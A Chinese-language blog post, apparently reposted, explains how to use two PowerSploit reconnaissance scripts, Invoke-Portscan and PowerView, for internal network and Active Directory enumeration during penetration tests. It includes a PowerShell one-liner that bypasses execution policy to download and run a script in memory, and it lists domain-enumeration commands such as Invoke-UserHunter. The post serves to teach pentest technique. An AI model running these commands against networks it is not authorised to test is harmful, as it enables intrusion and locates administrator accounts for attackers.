powersploit的兩個信息收集的腳本


0x00 簡介

powersploit是基於powershell的滲透工具包,里面都是powershell的腳本工具文件。
工具包地址:https://github.com/PowerShellMafia/PowerSploit

0x02 Invoke-Portscan.ps1腳本

腳本地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
內容訪問地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1

powersploit里面的Invoke-Portscan.ps1腳本主要用戶在內網中探尋存活主機ip及端口掃描:

執行命令(也可以去下載腳本然后用Import-Module導入):

powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,80,8080,3389' -oA c:\ProgramData\ip_info"

掃描的ip范圍和端口范圍可自行增減,執行后結果將保存在c:\ProgramData\ip_info.xml文件中

0x03 PowerView腳本

powerView.ps1是一款依賴powershell和wmi對內網進行查詢的常用滲透測試腳本,集成在powersploit工具包中;

是一個收集域信息很好用的腳本。

腳本地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

Import-Module為powershell導入腳本命令,這里假設我們下載的powerview.ps1腳本在C:\PowerView.ps1

命令格式:powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1; powerview的命令參數}"

1、域中定位域管理員:
powerview的Invoke-UserHunter命令,在使用時不需要管理員權限;
命令:

powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1; Invoke-UserHunter}"

2、更多PowerView命令參數:

Get-NetDomain: 獲取當前用戶所在域的名稱
Get-NetUser: 獲取所有用戶的詳細信息
Get-NetDomainController: 獲取所有域控制器的信息
Get-NetComputer: 獲取域內所有機器的詳細信息
Get-NetOU: 獲取域中的OU信息
Get-NetGroup: 獲取所有域內組和組成員信息
Get-NetFileServer: 根據SPN獲取當前域使用的文件服務器信息
Get-NetShare: 獲取當前域內所有網絡共享信息
Get-NetSession: 獲取指定服務器的會話
Get-NetRDPSession: 獲取指定服務器的遠程連接
Get-NetProcess: 獲取遠程主機的進程
Get-UserEvent: 獲取指定用戶的日志
Get-ADObiect: 獲取活動目錄的對象
Get-NetGPO: 獲取域內所有的組策略對象
Get-DomainPolicy: 獲取域默認策略或域控制器策略
Invoke-UserHunter: 獲取域用戶登錄的計算機信息及該用戶是否有本地管理員權限
Invoke-ProcessHunter: 通過查詢域內所有的機器進程找到特定用戶
Invoke-UserEvenHunter: 根據用戶日志查詢某域用戶登錄過哪些域機器。

 

 

這兩個腳本都還蠻好用的,收集信息很快,最關鍵的是基於powershell的。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM